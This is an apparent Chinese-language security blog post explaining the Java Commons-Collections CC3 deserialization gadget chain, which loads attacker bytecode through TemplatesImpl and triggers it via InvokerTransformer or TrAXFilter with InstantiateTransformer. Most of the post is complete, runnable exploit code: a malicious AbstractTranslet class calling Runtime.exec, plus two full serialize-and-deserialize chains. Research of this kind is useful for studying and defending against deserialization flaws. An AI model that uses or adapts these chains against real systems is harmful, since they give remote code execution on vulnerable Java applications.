基于类加载的多路径TemplatesImpl CC3

上一文讲到类加载的底层原理

https://godownio.github.io/2024/07/31/java-lei-jia-zai-ji-shuang-qin-wei-pai/

最后是defineClass加载类

尽管defineClass是protected final,其他地方依然有调用到该方法,让我们可以构造底层的恶意类加载攻击。

比如bcel,TemplatesImpl

先来看TemplatesImpl$TransletClassLoader

CC3 TemplatesImpl链

newInstance加载

该方法为default属性,必定被类内其他方法调用,跟进一下

在同一个类里的defineTransletClasses()循环调用了该方法加载_bytecodes数组。读一下代码,只要_bytecodes[]不为空,就能触发defineClass

该private方法也必定被类内其他方法调用,有三个方法都调用了

先看一下第一个getTransletClasses()方法,注意上面的英文注释,该方法出于安全原因设为私有,因为和Apache部分项目整合的原因才没有移除。所以我们没有Apache的项目是没有调用该方法的地方的。

getTransletIndex作为public也没有地方被调用

那只能看getTransletInstance了,方法名叫获取转移实例,方法内正好就有newInstance(),这不巧了吗!

触发defineTransletClasses()并走到newInstance,需要_name不为空,_class为空

public newTransformer方法调用

getTransletInstance作为private,还得往上找到public,因为别的类只能调用另一个类的public方法,这样才能转到readObject嘛。向上走到newTransformer

我们建一个TransfomerImpl实例测试一下

TransfomerImpl有一个空的构造函数

_name不为空,_class为空,_bytecodes为恶意代码

1
2
3
4
5
6
7
8
9
10
byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
}

注意在defineTransletClasses中,_tfactory调用了方法,虽然_tfactory为transient,无法序列化传递,

但该类的readObject给_tfactory赋了值。我们测试的时候也先给个值

1
2
3
else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}

由于我们的CC6代码要在newInstance时触发,所以要把整个defineTransletClasses()走完。有报错就要处理。

读一下这段代码,classCount为bytecodes数组元素个数,大于1才给auxClasses赋值。如果这里不赋值,后面的auxClasses.put会报错。

所以我们有两种解决办法,一种是传两个byte元素的bytecodes,这样classCount>1,就能put进去。并反射修改_transletIndex的值不小于0,不然会报Error。一种是走if,不用管auxClasses

双byte通过else

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class CC3TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
byte[] code2 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\BImpl.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1,code2});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
} else if (field.getName().equals("_transletIndex")) {
field.set(templatesClass, 0);
}
}
templatesClass.newTransformer();
}
}

code2随便传,但注意不能和code1相同,会进第一个catch,也不能为空,会进第二个catch。

但是由于我们传入的类无法转为AbstractTranslet而报错。但是不重要

继承AbstractTranslet通过if

第二种方式,走进if,不走else,就不用管auxClasses。而且给transletIndex赋值了,不用自己去赋值。

如果要走进if,需要加载的类继承自如下类。

那我们改一下CC6,继承AbstractTranslet并实现抽象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;


public class CC6TiedMapEntry2 extends AbstractTranslet {
public CC6TiedMapEntry2() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("cc6.ser");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class CC3TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
templatesClass.newTransformer();
}
}

也是成功加载

链接到readObject

直接触发TemplatesImpl#newTransformer

InvokerTransformer能调用任意公开的方法,在这里也就是newTransformer。直接在后面链上

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesClass),
new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

后面随便截取一段其他CC的代码接着触发chainedTransformer就行了。这里就用CC6后面的代码.

完整代码1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class CC3TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesClass),
new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("cc6.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

这样Runtime被ban了也能执行命令,而且加载字节码的后续利用范围也更多。

那InvokerTransformer也被ban了呢?

InstantiateTransformer触发TrAXFilter构造器

直接触发newTransformer的如图,Process是在main里,没办法用。

getOutputProperities作为一个getter方法,在后面的CC11和fastjson中会用到。先略过

TranformerFactoryImpl及其父类都没有继承serializable接口,虽然没有继承serializable的一些类依然有办法在反序列化获取实例,比如我们前面的chainedTransformer,实际上整个序列化过程都没有用到Runtime的实例,创建实例的过程发生在反序列化途中。但这种方式要求构造函数或者获取实例的方法能传进需要的参数,因为链式的过程中无法再去反射修改实例的字段。你看我们反射修改都是在序列化对象上。

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以我们可以做个小总结,目前能调用使用非serializable类的地方只有InvokerTransformer的链式调用中。

我们看TranformFactoryImpl,需要指定templates为上文生成的templatesClass

那有没有获取实例的地方或者构造函数能修改templates呢,答案是没有

所以这个类不能用。

最后我们看TrAXFilter类,虽然该类没有继承serializable,在构造函数中就给templates赋值,并调用了newTransformer()

怎么触发构造函数呢?

本链官方给出了InstantiateTransformer类,该类的transform获取构造器,并newInstance(),等于调用了构造函数。

构造函数传进去调用指定构造器

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

轻松拿下

完整代码2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3TrAXFilter {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("cc6.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

上面各序列化代码去掉_tfactory的赋值依旧能用,原理上面说过了。

目前以下几个路径都能触发命令执行or代码执行

上一篇:
PriorityQueue CC2&CC4
下一篇:
一个搞笑的铸币CC3